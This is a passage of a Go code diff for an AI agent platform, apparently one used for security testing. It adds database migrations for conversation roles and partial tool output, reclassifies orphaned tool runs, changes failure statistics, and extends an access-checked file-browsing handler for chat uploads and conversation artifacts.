`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -678,43 +675,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
}
defer rows.Close()
var conversations []*Conversation
for rows.Next() {
var conv Conversation
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
}
if err1 != nil {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
if err2 != nil {
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
}
if err2 != nil {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
conv.Pinned = pinned != 0
conversations = append(conversations, &conv)
}
return conversations, rows.Err()
return scanConversationRows(rows)
}
func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
@@ -728,7 +689,7 @@ func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, pro
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
args = append(args, limit, offset)
rows, err := db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -861,6 +822,19 @@ func (db *DB) einoReductionBaseDir() string {
return filepath.Join("tmp", "reduction")
}
// EinoReductionBaseDir returns the configured reduction cache root.
func (db *DB) EinoReductionBaseDir() string {
return db.einoReductionBaseDir()
}
// ConversationArtifactsBaseDir returns the conversation-scoped artifacts root.
func (db *DB) ConversationArtifactsBaseDir() string {
if db == nil {
return ""
}
return strings.TrimSpace(db.conversationArtifactsDir)
}
func (db *DB) einoWorkspaceBaseDir() string {
if db == nil {
return ""
@@ -5,6 +5,7 @@ type ConversationCreateMeta struct {
Source string
WebShellConnectionID string
ProjectID string
RoleName string
ClientIP string
SessionHint string
}
+40
View File
@@ -183,6 +183,7 @@ func (db *DB) initTables() error {
title TEXT NOT NULL,
created_at DATETIME NOT NULL,
updated_at DATETIME NOT NULL,
role_name TEXT NOT NULL DEFAULT '默认',
last_react_input TEXT,
last_react_output TEXT
);`
@@ -226,6 +227,10 @@ func (db *DB) initTables() error {
start_time DATETIME NOT NULL,
end_time DATETIME,
duration_ms INTEGER,
partial_output TEXT,
partial_output_bytes INTEGER NOT NULL DEFAULT 0,
partial_output_truncated INTEGER NOT NULL DEFAULT 0,
partial_output_updated_at DATETIME,
owner_user_id TEXT,
conversation_id TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
@@ -954,6 +959,9 @@ func (db *DB) initTables() error {
if err := db.migrateWorkflowRunsTable(); err != nil {
db.logger.Warn("迁移workflow_runs表失败", zap.Error(err))
}
if err := db.migrateToolExecutionsPartialOutputColumns(); err != nil {
db.logger.Warn("迁移tool_executions partial output字段失败", zap.Error(err))
}
if err := db.migrateRBACOwnershipColumns(); err != nil {
db.logger.Warn("迁移RBAC资源归属字段失败", zap.Error(err))
}
@@ -978,6 +986,23 @@ func (db *DB) migrateRobotUserSessionsTable() error {
return nil
}
func (db *DB) migrateToolExecutionsPartialOutputColumns() error {
for _, col := range []struct {
name string
stmt string
}{
{"partial_output", "ALTER TABLE tool_executions ADD COLUMN partial_output TEXT"},
{"partial_output_bytes", "ALTER TABLE tool_executions ADD COLUMN partial_output_bytes INTEGER NOT NULL DEFAULT 0"},
{"partial_output_truncated", "ALTER TABLE tool_executions ADD COLUMN partial_output_truncated INTEGER NOT NULL DEFAULT 0"},
{"partial_output_updated_at", "ALTER TABLE tool_executions ADD COLUMN partial_output_updated_at DATETIME"},
} {
if err := db.addColumnIfMissing("tool_executions", col.name, col.stmt); err != nil {
return err
}
}
return nil
}
// migrateAssetsTable keeps databases created by the first asset-management release compatible.
func (db *DB) migrateAssetsTable() error {
columns := []struct {
@@ -1127,6 +1152,21 @@ func (db *DB) migrateConversationsTable() error {
}
}
// 检查 role_name 字段是否存在(对话绑定的业务角色,用于历史任务切换时恢复角色上下文)
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='role_name'").Scan(&count)
if err != nil {
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); addErr != nil {
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加role_name字段失败", zap.Error(addErr))
}
}
} else if count == 0 {
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); err != nil {
db.logger.Warn("添加role_name字段失败", zap.Error(err))
}
}
return nil
}
+61 -24
View File
@@ -43,11 +43,19 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
if exec.Duration > 0 {
durationMs = sql.NullInt64{Int64: exec.Duration.Milliseconds(), Valid: true}
}
var partialUpdatedAt sql.NullTime
if exec.PartialOutputUpdatedAt != nil {
partialUpdatedAt = sql.NullTime{Time: *exec.PartialOutputUpdatedAt, Valid: true}
}
partialTruncated := 0
if exec.PartialOutputTruncated {
partialTruncated = 1
}
query := `
INSERT OR REPLACE INTO tool_executions
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, owner_user_id, conversation_id, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, partial_output, partial_output_bytes, partial_output_truncated, partial_output_updated_at, owner_user_id, conversation_id, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`
_, err = db.Exec(query,
@@ -60,6 +68,10 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
exec.StartTime,
endTime,
durationMs,
sqlNullString(exec.PartialOutput),
exec.PartialOutputBytes,
partialTruncated,
partialUpdatedAt,
strings.TrimSpace(exec.OwnerUserID),
strings.TrimSpace(exec.ConversationID),
time.Now(),
@@ -90,6 +102,13 @@ func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error
return err
}
func sqlNullString(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}
// CountToolExecutions 统计工具执行记录总数
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
return db.CountToolExecutionsForAccess(status, toolName, RBACListAccess{Scope: RBACScopeAll})
@@ -267,7 +286,8 @@ type ToolStatsSummaryResult struct {
TopTools []*mcp.ToolStats
}
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
// 监控页的失败口径只包含真实失败/异常终止;用户主动取消的 cancelled 保留在总调用中,不计入失败。
func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
if topN <= 0 {
topN = 6
@@ -282,19 +302,19 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
summaryQuery := `
SELECT COUNT(*),
COALESCE(SUM(total_calls), 0),
COALESCE(SUM(success_calls), 0),
COALESCE(SUM(failed_calls), 0),
MAX(last_call_time)
FROM tool_stats
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
MAX(start_time),
COUNT(DISTINCT tool_name)
FROM tool_executions
`
var lastCallRaw sql.NullString
err := db.QueryRow(summaryQuery).Scan(
&result.Summary.ToolCount,
&result.Summary.TotalCalls,
&result.Summary.SuccessCalls,
&result.Summary.FailedCalls,
&lastCallRaw,
&result.Summary.ToolCount,
)
if err != nil {
return nil, err
@@ -310,9 +330,13 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
}
topQuery := `
SELECT tool_name, total_calls, success_calls, failed_calls, last_call_time
FROM tool_stats
WHERE total_calls > 0
SELECT tool_name,
COUNT(*) AS total_calls,
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) AS success_calls,
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed_calls,
MAX(start_time) AS last_call_time
FROM tool_executions
GROUP BY tool_name
ORDER BY total_calls DESC, tool_name ASC
LIMIT ?
`
@@ -324,7 +348,7 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
for rows.Next() {
var stat mcp.ToolStats
var lastCallTime sql.NullTime
var lastCallTime sql.NullString
if err := rows.Scan(
&stat.ToolName,
&stat.TotalCalls,
@@ -336,7 +360,8 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
continue
}
if lastCallTime.Valid {
stat.LastCallTime = &lastCallTime.Time
parsed := parseDBTime(lastCallTime.String)
stat.LastCallTime = &parsed
}
result.TopTools = append(result.TopTools, &stat)
}
@@ -359,7 +384,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
var lastCall sql.NullString
err := db.QueryRow(`SELECT COUNT(*),
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
MAX(start_time), COUNT(DISTINCT tool_name)`+fromSQL, args...).Scan(
&result.Summary.TotalCalls, &result.Summary.SuccessCalls, &result.Summary.FailedCalls,
&lastCall, &result.Summary.ToolCount,
@@ -373,7 +398,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
}
rows, err := db.Query(`SELECT tool_name, COUNT(*),
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END),
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), MAX(start_time)`+
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), MAX(start_time)`+
fromSQL+` GROUP BY tool_name ORDER BY COUNT(*) DESC, tool_name ASC LIMIT ?`, append(args, topN)...)
if err != nil {
return nil, err
@@ -482,7 +507,9 @@ func appendToolExecutionAccessSQL(query string, args []interface{}, access RBACL
// GetToolExecution 根据ID获取单条工具执行记录
func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
query := `
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms,
COALESCE(partial_output, ''), COALESCE(partial_output_bytes, 0), COALESCE(partial_output_truncated, 0), partial_output_updated_at,
COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
FROM tool_executions
WHERE id = ?
`
@@ -495,6 +522,8 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
var errorText sql.NullString
var endTime sql.NullTime
var durationMs sql.NullInt64
var partialTruncated int
var partialUpdatedAt sql.NullTime
err := row.Scan(
&exec.ID,
@@ -506,6 +535,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
&exec.StartTime,
&endTime,
&durationMs,
&exec.PartialOutput,
&exec.PartialOutputBytes,
&partialTruncated,
&partialUpdatedAt,
&exec.OwnerUserID,
&exec.ConversationID,
)
@@ -538,6 +571,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
if durationMs.Valid {
exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
}
exec.PartialOutputTruncated = partialTruncated != 0
if partialUpdatedAt.Valid {
exec.PartialOutputUpdatedAt = &partialUpdatedAt.Time
}
return &exec, nil
}
@@ -565,7 +602,7 @@ func (db *DB) UserCanAccessToolExecution(userID, scope, executionID string) bool
return conversation != "" && db.UserCanAccessResource(userID, scope, "conversation", conversation)
}
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 cancelled(如进程重启后无对应执行协程)。
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 orphaned(如进程重启后无对应执行协程)。
func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
errMsg = strings.TrimSpace(errMsg)
if errMsg == "" {
@@ -573,7 +610,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
}
query := `
UPDATE tool_executions
SET status = 'cancelled',
SET status = 'orphaned',
error = ?,
end_time = ?,
duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
@@ -586,7 +623,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
return res.RowsAffected()
}
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 cancelled。
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 orphaned。
// activeIDs 为当前进程内仍登记 cancel 的 executionId;不在集合内且已超时的视为孤儿记录。
func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
errMsg = strings.TrimSpace(errMsg)
@@ -639,7 +676,7 @@ func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.
}
res, err := db.Exec(`
UPDATE tool_executions
SET status = 'cancelled', error = ?, end_time = ?, duration_ms = ?
SET status = 'orphaned', error = ?, end_time = ?, duration_ms = ?
WHERE id = ? AND status = 'running'
`, errMsg, endTime, durationMs, row.id)
if err != nil {
@@ -815,7 +852,7 @@ func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
}
delta.totalCalls += count
switch status {
case "failed", "cancelled":
case "failed", "hard_timeout", "orphaned":
delta.failedCalls += count
case "completed":
delta.successCalls += count
@@ -971,7 +1008,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
query = `
SELECT date(start_time, 'localtime') AS bucket,
COUNT(*) AS total,
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
FROM tool_executions
WHERE start_time >= ?
GROUP BY bucket
@@ -981,7 +1018,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
query = `
SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
COUNT(*) AS total,
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
FROM tool_executions
WHERE start_time >= ?
GROUP BY bucket
+4 -4
View File
@@ -43,8 +43,8 @@ func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution: %v", err)
}
if got.Status != "cancelled" {
t.Fatalf("expected cancelled, got %s", got.Status)
if got.Status != "orphaned" {
t.Fatalf("expected orphaned, got %s", got.Status)
}
if got.EndTime == nil {
t.Fatal("expected end_time to be set")
@@ -88,8 +88,8 @@ func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution stale: %v", err)
}
if stale.Status != "cancelled" {
t.Fatalf("stale expected cancelled, got %s", stale.Status)
if stale.Status != "orphaned" {
t.Fatalf("stale expected orphaned, got %s", stale.Status)
}
activeExec, err := db.GetToolExecution("active")
+46
View File
@@ -84,3 +84,49 @@ func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
}
}
}
func TestLoadToolStatsSummaryDoesNotCountCancelledAsFailed(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "monitor-cancelled-summary.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
now := time.Now()
for i, status := range []string{"completed", "cancelled", "failed"} {
exec := &mcp.ToolExecution{
ID: fmt.Sprintf("exec-%d", i),
ToolName: "exec",
Arguments: map[string]interface{}{},
Status: status,
StartTime: now.Add(time.Duration(i) * time.Second),
}
end := exec.StartTime.Add(time.Second)
exec.EndTime = &end
exec.Duration = time.Second
if err := db.SaveToolExecution(exec); err != nil {
t.Fatalf("SaveToolExecution(%s): %v", status, err)
}
}
summary, err := db.LoadToolStatsSummary(1)
if err != nil {
t.Fatalf("LoadToolStatsSummary: %v", err)
}
if summary.Summary.TotalCalls != 3 {
t.Fatalf("totalCalls = %d, want 3", summary.Summary.TotalCalls)
}
if summary.Summary.SuccessCalls != 1 {
t.Fatalf("successCalls = %d, want 1", summary.Summary.SuccessCalls)
}
if summary.Summary.FailedCalls != 1 {
t.Fatalf("failedCalls = %d, want 1", summary.Summary.FailedCalls)
}
if len(summary.TopTools) != 1 {
t.Fatalf("top tools = %d, want 1", len(summary.TopTools))
}
if summary.TopTools[0].FailedCalls != 1 {
t.Fatalf("top tool failedCalls = %d, want 1", summary.TopTools[0].FailedCalls)
}
}
+6 -2
View File
@@ -84,7 +84,7 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
limit = 100
}
rows, err := db.Query(
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
projectID, limit, offset,
)
@@ -99,12 +99,16 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
var createdAt, updatedAt string
var pinned int
var pid sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid); err != nil {
var roleName sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid, &roleName); err != nil {
return nil, err
}
if pid.Valid {
conv.ProjectID = strings.TrimSpace(pid.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
conv.CreatedAt = parseDBTime(createdAt)
conv.UpdatedAt = parseDBTime(updatedAt)
conv.Pinned = pinned != 0
+8 -7
View File
@@ -212,7 +212,7 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
if h == nil || conversationID == "" || h.tasks == nil {
return
}
h.cancelActiveMCPToolForConversation(conversationID)
h.cancelRunningMCPToolsForConversation(conversationID)
h.tasks.AbortActiveEinoExecute(conversationID, "")
if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
@@ -221,12 +221,13 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
}
}
func (h *AgentHandler) cancelActiveMCPToolForConversation(conversationID string) {
if h == nil || h.tasks == nil || h.agent == nil {
func (h *AgentHandler) cancelRunningMCPToolsForConversation(conversationID string) {
if h == nil || h.agent == nil {
return
}
if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
h.agent.CancelMCPToolExecutionWithNote(execID, "")
n := h.agent.CancelRunningMCPToolsForConversation(conversationID, "会话已结束,自动终止仍在运行的工具")
if n > 0 && h.logger != nil {
h.logger.Info("已终止会话仍在运行的 MCP 工具", zap.String("conversationId", conversationID), zap.Int("count", n))
}
}
@@ -266,7 +267,7 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
batchCronParser: cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
auditLLM: openai.NewClient(llmCfg, llmHTTP, logger),
}
tm.SetToolCanceler(handler.cancelActiveMCPToolForConversation)
tm.SetToolCanceler(handler.cancelRunningMCPToolsForConversation)
if err := handler.hitlManager.EnsureSchema(); err != nil {
logger.Warn("初始化 HITL 表失败", zap.Error(err))
}
@@ -1553,7 +1554,7 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
var cause error = ErrTaskCancelled
msg := "已提交取消请求,任务将在当前步骤完成后停止。"
h.cancelActiveMCPToolForConversation(req.ConversationID)
h.cancelRunningMCPToolsForConversation(req.ConversationID)
h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
ok, err := h.tasks.CancelTask(req.ConversationID, cause)
if err != nil {
+11 -5
View File
@@ -788,7 +788,7 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
TaskID: c.Query("task_id"),
}
if since := c.Query("since"); since != "" {
if t, err := time.Parse(time.RFC3339, since); err == nil {
if t, err := database.ParseRFC3339Time(since); err == nil {
filter.Since = &t
}
}
@@ -832,11 +832,17 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
levelCounts, err := h.mgr().DB().CountC2EventsByLevelForAccess(filter, access)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"events": events,
"total": total,
"page": page,
"page_size": pageSize,
"events": events,
"total": total,
"level_counts": levelCounts,
"page": page,
"page_size": pageSize,
})
}
+611 -16
View File
@@ -1,13 +1,17 @@
package handler
import (
"archive/zip"
"crypto/rand"
"encoding/json"
"fmt"
"io"
"mime"
"net/http"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"time"
"unicode/utf8"
@@ -21,8 +25,15 @@ import (
)
const (
chatUploadsRootDirName = "chat_uploads"
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
chatUploadsRootDirName = "chat_uploads"
reductionRootDirName = "tmp/reduction"
artifactsRootDirName = "data/conversation_artifacts"
reductionVirtualPrefix = "__reduction__/"
artifactVirtualPrefix = "__conversation_artifact__/"
chatUploadSourceUpload = "upload"
chatUploadSourceReduction = "reduction"
chatUploadSourceConversation = "conversation_artifact"
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
)
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
@@ -66,6 +77,64 @@ func (h *ChatUploadsHandler) pathAllowed(c *gin.Context, relativePath string) bo
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", parts[1])
}
func (h *ChatUploadsHandler) reductionPathAllowed(c *gin.Context, scope, id string) bool {
session, ok := security.CurrentSession(c)
if !ok || h.db == nil {
return false
}
if session.Scope == database.RBACScopeAll {
return true
}
id = strings.TrimSpace(id)
switch scope {
case "conversations":
if id == "" || id == "default" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", id)
case "projects":
if id == "" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", id)
default:
return false
}
}
func (h *ChatUploadsHandler) reductionVirtualPathAllowed(c *gin.Context, relativePath string) bool {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
parts := strings.Split(filepath.ToSlash(rel), "/")
if len(parts) < 2 {
return false
}
return h.reductionPathAllowed(c, parts[0], parts[1])
}
func (h *ChatUploadsHandler) conversationArtifactPathAllowed(c *gin.Context, conversationID string) bool {
session, ok := security.CurrentSession(c)
if !ok || h.db == nil {
return false
}
if session.Scope == database.RBACScopeAll {
return true
}
conversationID = strings.TrimSpace(conversationID)
if conversationID == "" || conversationID == "default" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", conversationID)
}
func (h *ChatUploadsHandler) conversationArtifactVirtualPathAllowed(c *gin.Context, relativePath string) bool {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
parts := strings.Split(filepath.ToSlash(rel), "/")
if len(parts) < 1 {
return false
}
return h.conversationArtifactPathAllowed(c, parts[0])
}
func (h *ChatUploadsHandler) absRoot() (string, error) {
cwd, err := os.Getwd()
if err != nil {
@@ -74,6 +143,46 @@ func (h *ChatUploadsHandler) absRoot() (string, error) {
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
}
func (h *ChatUploadsHandler) absReductionRoot() (string, error) {
if h.db != nil {
if base := strings.TrimSpace(h.db.EinoReductionBaseDir()); base != "" {
if filepath.IsAbs(base) {
return filepath.Abs(base)
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, base))
}
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, reductionRootDirName))
}
func (h *ChatUploadsHandler) absConversationArtifactsRoot() (string, error) {
if h.db != nil {
if base := strings.TrimSpace(h.db.ConversationArtifactsBaseDir()); base != "" {
if filepath.IsAbs(base) {
return filepath.Abs(base)
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, base))
}
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, artifactsRootDirName))
}
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
root, err := h.absRoot()
@@ -105,30 +214,44 @@ type ChatUploadFileItem struct {
RelativePath string `json:"relativePath"`
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
Name string `json:"name"`
Source string `json:"source,omitempty"`
Size int64 `json:"size"`
ModifiedUnix int64 `json:"modifiedUnix"`
Date string `json:"date"`
ConversationID string `json:"conversationId"`
ProjectID string `json:"projectId,omitempty"`
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
SubPath string `json:"subPath"`
}
// List GET /api/chat-uploads
func (h *ChatUploadsHandler) List(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
func (h *ChatUploadsHandler) conversationProjectID(conversationID string, cache map[string]string) string {
conversationID = strings.TrimSpace(conversationID)
if conversationID == "" || conversationID == "_manual" || conversationID == "_new" || h.db == nil {
return ""
}
if v, ok := cache[conversationID]; ok {
return v
}
projectID, err := h.db.GetConversationProjectID(conversationID)
if err != nil {
projectID = ""
}
cache[conversationID] = projectID
return projectID
}
func (h *ChatUploadsHandler) collectFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, []string, error) {
root, err := h.absRoot()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
// 保证根目录存在,否则「按文件夹」浏览时无法 mkdir,且首次列表为空时界面无路径工具栏
if err := os.MkdirAll(root, 0755); err != nil {
h.logger.Warn("创建 chat_uploads 根目录失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
var files []ChatUploadFileItem
var folders []string
projectCache := make(map[string]string)
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil {
return walkErr
@@ -157,6 +280,7 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
if len(parts) >= 3 {
convID = parts[1]
}
projectID := h.conversationProjectID(convID, projectCache)
var subPath string
if len(parts) >= 4 {
subPath = strings.Join(parts[2:len(parts)-1], "/")
@@ -164,29 +288,32 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
absPath, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: relSlash,
AbsolutePath: absPath,
Name: d.Name(),
Source: chatUploadSourceUpload,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: dateStr,
ConversationID: convID,
ProjectID: projectID,
SubPath: subPath,
})
return nil
})
if err != nil {
h.logger.Warn("列举对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
if conversationFilter != "" {
if conversationFilter != "" || projectFilter != "" {
filteredFolders := make([]string, 0, len(folders))
for _, rel := range folders {
parts := strings.Split(rel, "/")
if len(parts) >= 2 && parts[1] == conversationFilter {
if len(parts) >= 2 && (conversationFilter == "" || parts[1] == conversationFilter) && (projectFilter == "" || h.conversationProjectID(parts[1], projectCache) == projectFilter) {
filteredFolders = append(filteredFolders, rel)
continue
}
@@ -221,12 +348,480 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedUnix > files[j].ModifiedUnix
})
c.JSON(http.StatusOK, gin.H{"files": files, "folders": folders})
reductionFiles, err := h.collectReductionFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举 reduction 产物失败", zap.Error(err))
} else if len(reductionFiles) > 0 {
files = append(files, reductionFiles...)
}
